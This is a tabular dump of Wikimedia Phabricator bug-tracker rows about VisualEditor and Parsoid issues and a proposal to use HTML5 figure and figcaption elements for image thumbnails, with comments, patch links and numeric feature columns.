+Having said that, such templates shouldn't need to replicate the thumb HTML itself. We need to either support it by implementing the necessary bits in core (or an extension), or decide why it is undesired for some technical or UX reason and discourage its use.",,,1435616576,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,104,,1,1,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,0,0,1,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,1,1,1,1,1,0,0,1
+483852,Use figure and figcaption HTML5 elements when possible,">>! In T51097#1157239, @matmarex wrote:
+>>>! In T51097#1155608, @Mattflaschen wrote:
+>> In what cases would someone need to explicitly use figcaption from wikitext (the main point is for people to use File tags, and the parser to generate them)?
+> 
+> https://en.wikipedia.org/wiki/Template:Multiple_image and other such templates need to replicate the HTML of the image thumbnails.
+
+I'm not opposing `<figure>` in wikitext per se, but templates don't need it. They just have to look similar. There shouldn't be any styles specific to the figure elements in core. The classname on `<div>` will suffice and result in the same visual appearance and behaviour.
+
+Having said that, such templates shouldn't need to exist. We need to either support it by implementing the necessary bits in core (or an extension), or decide why it is undesired for some technical or UX reason and discourage its use.",,,1435616550,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,104,,1,1,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,0,0,1,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,1,1,1,1,1,0,0,1
+434069,Use figure and figcaption HTML5 elements when possible,">>! In T51097#1155608, @Mattflaschen wrote:
+> In what cases would someone need to explicitly use figcaption from wikitext (the main point is for people to use File tags, and the parser to generate them)?
+
+https://en.wikipedia.org/wiki/Template:Multiple_image and other such templates need to replicate the HTML of the image thumbnails.",,,1427474703,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,90,,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,1,1,0,1,0,0,0,1
+433725,Use figure and figcaption HTML5 elements when possible,">>! In T51097#1147961, @TheDJ wrote:
+> # Do we want users to use figcaption/figure from wikitext as well ? (I think this can be assessed at a later point in time).
+
+In what cases would someone need to explicitly use figcaption from wikitext (the main point is for people to use File tags, and the parser to generate them)?",,,1427411748,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,90,,0,1,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,1,0,1,1,0,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1,1,1,0,0,0,1
+432192,Use figure and figcaption HTML5 elements when possible,"# Should be tested with the other skins.
+# It seems CSS or scripts for some people would break: https://en.wikipedia.org/w/index.php?title=Special:Search&limit=20&offset=20&profile=all&search=thumbinner Mostly this is style
+# MediaWiki:Gadget-ImageAnnotator.js would break and probably a few more",,,1427275316,,PHID-USER-wrimmmr5w2zt7nk2t753,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,90,,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,1,0,0
+432180,Use figure and figcaption HTML5 elements when possible,"As Brion said, be sure to validate against TimedMediaHandler, Mobile, WikiEditor and other extensions that depend on the current thumbnail layout.
+
+We will probably want to deploy the CSS changes before the element changes for cache reasons ?
+
+Also we have https://en.wikipedia.org/wiki/Category:Graphics_templates where I have two concerns:
+# How many of those templates will be affected
+# Do we want users to use figcaption/figure from wikitext as well ? (I think this can be assessed at a later point in time).",,,1427274219,,PHID-USER-wrimmmr5w2zt7nk2t753,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,90,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,0,0,0,0
+432078,Use figure and figcaption HTML5 elements when possible,Should be fine if the HTML5 shiv works properly.  No JS old IE is minimal per https://phabricator.wikimedia.org/T25932#851388 .  IE 8 ([last version](http://caniuse.com/#feat=html5semantic) not to support this out of the box) is EOL in January 2016 (less than 10 months away!),,,1427250080,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,90,,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1
+425825,Use figure and figcaption HTML5 elements when possible,"Change 196533 had a related patch set uploaded (by Prtksxna):
+Stop specifying element for thumbinner class
+
+[[https://gerrit.wikimedia.org/r/196533]]
+",,,1426227143,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,88,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+425824,Use figure and figcaption HTML5 elements when possible,"Change 196532 had a related patch set uploaded (by Prtksxna):
+Use figure and figcaption HTML5 elements in Linker::makeThumbLink2
+
+[[https://gerrit.wikimedia.org/r/196532]]
+",,,1426227102,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,88,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+233759,Use figure and figcaption HTML5 elements when possible,"Docs on MDN for these elements:
+
+https://developer.mozilla.org/en-US/docs/Web/HTML/Element/figure
+
+https://developer.mozilla.org/en-US/docs/Web/HTML/Element/figcaption
+
+Core and mobile styles would have to be updated, and likely also some JS tools.
+
+Alternatively, <figure> and <figcaption> could be thrown in around the existing <div>s and <span>s without changing the styles, assuming there's no default styles that override stuff.",,,1380740509,,PHID-USER-yek7ymogrv4qc67oilhf,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,13,,1,0,0,1,0,1,0,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,1
+51092,VisualEditor: Reference lists should update more intelligently (i.e. less often),"Currently a reference list (<references /> in wikitext) complete redraws every time an InternalItemNode is touched by a transaction. This is inefficient because:
+
+* Reference lists can be grouped, so a change to one InternalItemNode may not affect that reference list at all.
+* Changes to IternalItemNodes shouldn't change the ordering of the list, or any items not touched by the transaction, so we only need to selectively update the items in the list which have changed.",Medium,50.0,1370299680,,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-ebn2j76ougc2mnfqb4fp,task_description,open,True,c1,1,True,False,,-4,,1,0,0,1,1,1,1,1,0,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1
+51089,Enable VisualEditor alpha on all Wikipedias,"
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1370286120,1370741034.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-nlxbzrcehkp3h36untox,task_description,resolved,True,c1,1,True,False,True,-4,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+233287,Enable VisualEditor alpha on all Wikipedias,Done on 2013-06-06.,,,1370741034,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-nlxbzrcehkp3h36untox,task_subcomment,,True,c1,2,True,,,-4,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+233281,Enable VisualEditor alpha on all Wikipedias,Related URL: https://gerrit.wikimedia.org/r/67151 (Gerrit Change I98eb9f4979ae8d1dc2fdca4d812feaee28672444),,,1370466138,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-nlxbzrcehkp3h36untox,task_subcomment,,True,c1,1,False,,,-4,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+51059,VisualEditor: Phantoms appear above edit notices,"Even though the edit notices appear above text, they don't appear above overlays, e.g. block phantoms.
+
+http://i.imgur.com/RAOdlIZ.png
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49361
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50096
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50545",Medium,50.0,1370181480,1372809190.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-rhsntkwc7ofl6qzz7kt4,task_description,resolved,True,c1,1,True,False,True,-5,,0,0,0,0,1,1,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0
+231284,VisualEditor: Phantoms appear above edit notices,"This has now been fixed by Rob; marking as such. I hope we can deploy this to production soon, possibly tomorrow.",,,1372809190,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rhsntkwc7ofl6qzz7kt4,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+231280,VisualEditor: Phantoms appear above edit notices,"See also bug 49275. The layer the phantoms are added too needs to be put below the layer of toolbar, edit notices and save dialog etc.",,,1370851448,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-rhsntkwc7ofl6qzz7kt4,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+51034,Piping used unnecessarily when modifying an existing link,"I edited https://en.wikipedia.org/w/index.php?title=Eagle_Lake_%28Florida%29&oldid=557775556 which contained a piped link:
+
+[[Eagle Lake, Florida|Eagle Lake]]
+
+I used VisualEditor to change the anchor text to Eagle Lake, Florida.  That means piping is no longer necessary.  However, on the review changes screen, it showed:
+
+'''Eagle Lake''' is an elongated lake in shape located in the northern portion of [[Eagle Lake, Florida|Eagle Lake, Florida]].
+
+(irrelevant parts after omitted).
+
+It should just be:
+
+[[Eagle Lake, Florida]]
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1370056740,1370467151.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-2h7j3etzcjrazlrx7t2k,task_description,resolved,True,c1,1,True,False,True,-5,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,0,1,0,1
+229769,Piping used unnecessarily when modifying an existing link,Please note that this will be fixed on en-wp only after the latest version of parsoid is deployed.,,,1370467182,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-2h7j3etzcjrazlrx7t2k,task_subcomment,,True,c1,1,True,,,-4,,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0
+229764,Piping used unnecessarily when modifying an existing link,https://gerrit.wikimedia.org/r/66880 (Gerrit Change I6abef05522192f667d483b4eb4e05de771496c28) | change APPROVED and MERGED [by jenkins-bot],,,1370467094,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-2h7j3etzcjrazlrx7t2k,task_subcomment,,True,c1,1,False,,,-4,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+229758,Piping used unnecessarily when modifying an existing link,Related URL: https://gerrit.wikimedia.org/r/66880 (Gerrit Change I6abef05522192f667d483b4eb4e05de771496c28),,,1370297438,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-2h7j3etzcjrazlrx7t2k,task_subcomment,,True,c1,1,False,,,-4,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+229752,Piping used unnecessarily when modifying an existing link,"Never mind ... bad test case.  This behavior is correct since the second html snippet corresponds to parse output of ""[[Foo|Foo]]"" as wikitext input.
+
+The problem seems to be that the serializer doesn't exploit the information that the link target has been modified and that there is a diff-marker on the a-tag.",,,1370295580,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-2h7j3etzcjrazlrx7t2k,task_subcomment,,True,c1,1,True,,,-4,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,1,0,1,1,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1
+229745,Piping used unnecessarily when modifying an existing link,"Bug in LinkHandler in the serializer.  Our html2wt tests are lacking.
+
+[subbu@earth lib] cat /tmp/x
+<a rel='mw:WikiLink' href='./Foo' data-parsoid='{""a"":{""href"":""./Foo""},""sa"":{""href"":""Foo""},""stx"":""simple""}'>Foo</a>
+<a rel=""mw:WikiLink"" href=""./Foo"" data-parsoid='{""a"":{""href"":""./Foo""},""sa"":{""href"":""Foo""},""stx"":""piped""}'>Foo</a>
+[subbu@earth lib] node parse --html2wt < /tmp/x
+[[Foo]]
+[[Foo|Foo]]",,,1370294863,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-2h7j3etzcjrazlrx7t2k,task_subcomment,,True,c1,1,True,,,-4,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+51000,"VisualEditor: Incorrect tab text (create vs. edit) shown on Special:MovePage, Special:Undelete, others?","When attempting to move a page where VisualEditor is enabled (take https://www.mediawiki.org/wiki/Special:MovePage/VisualEditor:Sandbox for an example), the tab ""Create source"" should be an ""Edit source"" tab instead.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=66885",Medium,50.0,1369958460,1393380862.0,PHID-USER-kc6qx3zohjybu3nzffu3,False,,False,PHID-TASK-n3tckyz3ypiasbv7mmov,task_description,resolved,True,c1,1,False,False,False,-5,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,1,1,0,1,0,0,0
+233059,"VisualEditor: Incorrect tab text (create vs. edit) shown on Special:MovePage, Special:Undelete, others?","(In reply to Alex Monk from comment #17)
+> Is there anything left to do here?
+
+This appears fixed for now (albeit as a hack).",,,1393380862,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-n3tckyz3ypiasbv7mmov,task_subcomment,,True,c1,3,True,,,34,,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,1
+233049,"VisualEditor: Incorrect tab text (create vs. edit) shown on Special:MovePage, Special:Undelete, others?",Is there anything left to do here?,,,1390957000,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-n3tckyz3ypiasbv7mmov,task_subcomment,,True,c1,3,True,,,30,,0,1,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,1,0,1,0,0,0
+233040,"VisualEditor: Incorrect tab text (create vs. edit) shown on Special:MovePage, Special:Undelete, others?","Change 82744 merged by jenkins-bot:
+Reference core bug 53774 in bug 49000 comment
+
+https://gerrit.wikimedia.org/r/82744",,,1378356950,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n3tckyz3ypiasbv7mmov,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+233034,"VisualEditor: Incorrect tab text (create vs. edit) shown on Special:MovePage, Special:Undelete, others?","Change 82744 had a related patch set uploaded by Jforrester:
+Reference core bug 53774 in bug 49000 comment
+
+https://gerrit.wikimedia.org/r/82744",,,1378325288,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n3tckyz3ypiasbv7mmov,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+233031,"VisualEditor: Incorrect tab text (create vs. edit) shown on Special:MovePage, Special:Undelete, others?","(In reply to comment #12)
+> I think I can still see this?
+> http://en.wikipedia.org/wiki/Special:WhatLinksHere/Esempio 
+> Thanks.
+
+This is caused by (core) bug 53774 which we will need to fix.",,,1378325065,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-n3tckyz3ypiasbv7mmov,task_subcomment,,True,c1,3,True,,,9,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,0,1,0,0,1,1,1,0,0,0,0,0,1
+233024,"VisualEditor: Incorrect tab text (create vs. edit) shown on Special:MovePage, Special:Undelete, others?","I mean, as the page does not exist, shouldn't that read Create source instead, as in http://en.wikipedia.org/wiki/Esempio ?",,,1376398189,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-n3tckyz3ypiasbv7mmov,task_subcomment,,True,c1,3,False,,,6,,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,0
+233019,"VisualEditor: Incorrect tab text (create vs. edit) shown on Special:MovePage, Special:Undelete, others?","I think I can still see this? http://en.wikipedia.org/wiki/Special:WhatLinksHere/Esempio 
+Thanks.",,,1376398041,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-n3tckyz3ypiasbv7mmov,task_subcomment,,True,c1,3,False,,,6,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,0
+233013,"VisualEditor: Incorrect tab text (create vs. edit) shown on Special:MovePage, Special:Undelete, others?",Now fixed and deployed.,,,1375423076,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-n3tckyz3ypiasbv7mmov,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+233005,"VisualEditor: Incorrect tab text (create vs. edit) shown on Special:MovePage, Special:Undelete, others?","Change 77165 had a related patch set uploaded by Catrope:
+Move edit tab generation into PHP and make it more configurable
+
+https://gerrit.wikimedia.org/r/77165",,,1375414268,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n3tckyz3ypiasbv7mmov,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,1,0,0
+232999,"VisualEditor: Incorrect tab text (create vs. edit) shown on Special:MovePage, Special:Undelete, others?","Change 77253 merged by jenkins-bot:
+mw.ViewPageTarget.init: Fix pageExists/isViewPage behaviour
+
+https://gerrit.wikimedia.org/r/77253",,,1375401594,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n3tckyz3ypiasbv7mmov,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+232993,"VisualEditor: Incorrect tab text (create vs. edit) shown on Special:MovePage, Special:Undelete, others?","Change 77253 had a related patch set uploaded by Esanders:
+Fix pageExists/isViewPage behaviour
+
+https://gerrit.wikimedia.org/r/77253",,,1375397553,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n3tckyz3ypiasbv7mmov,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+232986,"VisualEditor: Incorrect tab text (create vs. edit) shown on Special:MovePage, Special:Undelete, others?","Change 77246 merged by jenkins-bot:
+Fix edit links on special pages
+
+https://gerrit.wikimedia.org/r/77246",,,1375395744,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n3tckyz3ypiasbv7mmov,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+232979,"VisualEditor: Incorrect tab text (create vs. edit) shown on Special:MovePage, Special:Undelete, others?","Change 77246 had a related patch set uploaded by Esanders:
+Fix edit links on special pages
+
